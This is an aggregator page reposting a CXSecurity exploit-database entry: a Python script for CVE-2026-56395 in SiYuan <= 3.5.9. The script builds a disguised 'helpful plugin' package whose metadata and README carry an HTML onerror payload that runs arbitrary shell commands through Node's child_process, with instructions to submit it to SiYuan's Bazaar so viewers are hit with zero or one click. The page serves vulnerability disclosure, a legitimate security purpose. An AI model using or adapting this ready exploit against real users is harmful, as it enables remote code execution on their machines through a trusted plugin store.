惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Apple Machine Learning Research
Apple Machine Learning Research
爱范儿
爱范儿
博客园_首页
博客园 - 【当耐特】
V
Visual Studio Blog
博客园 - 叶小钗
月光博客
月光博客
美团技术团队
J
Java Code Geeks
小众软件
小众软件
Y
Y Combinator Blog
博客园 - Franky
Martin Fowler
Martin Fowler
博客园 - 聂微东
Microsoft Azure Blog
Microsoft Azure Blog
IT之家
IT之家
MyScale Blog
MyScale Blog
人人都是产品经理
人人都是产品经理
Microsoft Security Blog
Microsoft Security Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
阮一峰的网络日志
阮一峰的网络日志
酷 壳 – CoolShell
酷 壳 – CoolShell
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
云风的 BLOG
云风的 BLOG

CXSECURITY Database RSS Feed - CXSecurity.com

Langflow 1.3.0 Remote Code Execution Krayin CRM v2.2.x Authenticated Remote Code Execution PraisonAI CodeAgent <= 1.6.77 Remote Code Execution (RCE) via Unsandboxed LLM Code Execution XenForo XSS CVE Scanner — Passive Detection Tool for CVE-2026-35055, CVE-2026-35054, CVE-2026-35057 KNX visualisering - Broken Access Control 7-Zip <= 26.02 - Mark-of-the-Web (MotW) Bypass via RAR5 Alternate Data Stream Name Collision NodeBB <= 4.13.2 ActivityPub attributedTo Local UID Spoof - CXSecurity.com KNX visualisering - Broken Access Control vm2 <= 3.11.3 - NodeVM Builtin Denylist Bypass Windows Defender (MsMpEng.exe) Race Condition -> LPE / SYSTEM / Use-After-Free -> Crash D-Link DSL2600U rom-0 Admin Password Disclosure KNX visualisering - Broken Access Control PHP Link Directory (phpLD) 2.1.3 - SQL Injection, IDOR, CSRF OpenEMR 7.0.2 Arbitrary File Read ZTE ZXHN H188A V6 Authentication Bypass phpLD 2.1.3 (EOL) has authenticated SQLi in admin/dir_validate.php (CATEGORY_ID) and admin ORDER BY (sort), unauthenticated IDOR in add_reciprocal.php, CSRF on admin link actions via GET, and exposed install/ after deployment. Verified locally on v2.1.3. Tenable Terrascan Server <= v1.18.3 SSRF and Local File Read Lenovo LegionSpace 1.7.11.2 DAService Unquoted Service Path ZTE H298A / H108N Unauthenticated Credential Exposure WordPress Contest Gallery 28.1.4 Unauthenticated Blind SQL Injection BrandIT Consultancy - Blind Sql Injection Association Management Script - Multiple Vulnerabilities (IDOR, SQLi, Stored XSS) Canvas Breach: Symbiotic Dual-Virus Model & Origin Parity Evidence Open ISES Tickets < 3.44.2 - Hardcoded MySQL Credentials ePati Antikor NGFW 2.0.1301 Authentication Bypass Windows Shell LNK Spoofing to NTLMv2 Hash Capture Apache HTTP Server 2.4.66 mod_http2 Double-Free Denial of Service Grav CMS 2.0.0-beta.2 Remote Code Execution Frigate NVR 0.16.3 Remote Code Execution
SiYuan <= 3.5.9 Remote Code Execution via Malicious Bazaa...
Mohammed Idr · 2026-06-23 · via CXSECURITY Database RSS Feed - CXSecurity.com

SiYuan <= 3.5.9 Remote Code Execution via Malicious Bazaar Package

#!/usr/bin/env python3 # Exploit Title: SiYuan <= 3.5.9 Remote Code Execution via Malicious Bazaar Package # CVE: CVE-2026-56395 # Date: 2026-06-22 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://b3log.org/siyuan/ # Software Link: https://github.com/siyuan-note/siyuan # Affected: SiYuan <= 3.5.9 # Tested on: SiYuan 3.5.x (Windows/macOS) # Category: WebApps # Platform: Electron # Exploit Type: Remote Code Execution # CVSS: 9.6 # Description: SiYuan is vulnerable to RCE via unsanitized Bazaar package metadata (displayName/description) and README.md. Zero-click on Bazaar listing and one-click on README view. # Fixed in: SiYuan 3.6.1+ # Usage: # python3 exploit.py # # Examples: # python3 exploit.py # # Options: # --cmd Custom command to execute (default: calc.exe) # # Notes: # • Generates malicious plugin package ready for Bazaar submission # • Works due to nodeIntegration in Electron # # How to Use # # Step 1: # Run the script to generate the malicious package # # Step 2: # Upload to GitHub and submit to SiYuan Bazaar def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) import json import os import base64 from pathlib import Path import sys def create_malicious_package(output_dir="siyuan-poc-plugin", cmd="calc.exe"): base_dir = Path(output_dir) base_dir.mkdir(exist_ok=True) plugin_data = { "name": "poc-helpful-plugin", "displayName": { "default": f"Helpful Plugin <img src=x onerror=\"require('child_process').exec('{cmd}')\">" }, "description": { "default": f"Useful plugin for productivity. <img src=x onerror=\"require('child_process').exec('{cmd}')\">" }, "version": "1.0.0", "author": "poc-researcher", "authorLink": "https://example.com", "readme": "README.md", "icon": "icon.png", "keywords": ["poc", "demo"] } with open(base_dir / "plugin.json", "w", encoding="utf-8") as f: json.dump(plugin_data, f, indent=2, ensure_ascii=False) readme_content = f"""# Helpful Plugin This plugin provides useful features. <img src="x" onerror="require('child_process').exec('{cmd}')"> ## Features - Feature 1 - Feature 2 ## Installation 1. Download 2. Install normally **Proof of Concept for CVE-2026-56395** """ with open(base_dir / "README.md", "w", encoding="utf-8") as f: f.write(readme_content) icon_b64 = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8/5+hHgAHggJ/PchI7wAAAABJRU5ErkJggg==" with open(base_dir / "icon.png", "wb") as f: f.write(base64.b64decode(icon_b64)) index_js = """module.exports = { onload() { console.log("Malicious plugin loaded - PoC"); } };""" with open(base_dir / "index.js", "w", encoding="utf-8") as f: f.write(index_js) print(f"[+] Malicious package created in: {base_dir.absolute()}") print("[+] Files: plugin.json (zero-click), README.md (one-click)") print(f"[*] Payload: {cmd}") print("[*] Upload to GitHub → Submit to SiYuan Bazaar") def main(): banner() if len(sys.argv) > 1 and sys.argv[1] == "--help": print("Usage: python3 exploit.py [command]") print("Example: python3 exploit.py \"whoami\"") sys.exit(0) cmd = "calc.exe" if len(sys.argv) > 1: cmd = sys.argv[1] create_malicious_package("siyuan-poc-plugin", cmd) if __name__ == "__main__": main()

References:

https://github.com/siyuan-note/siyuan/security/advisories/GHSA-v3mg-9v85-fcm7




 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


Copyright 2026, cxsecurity.com

Back to Top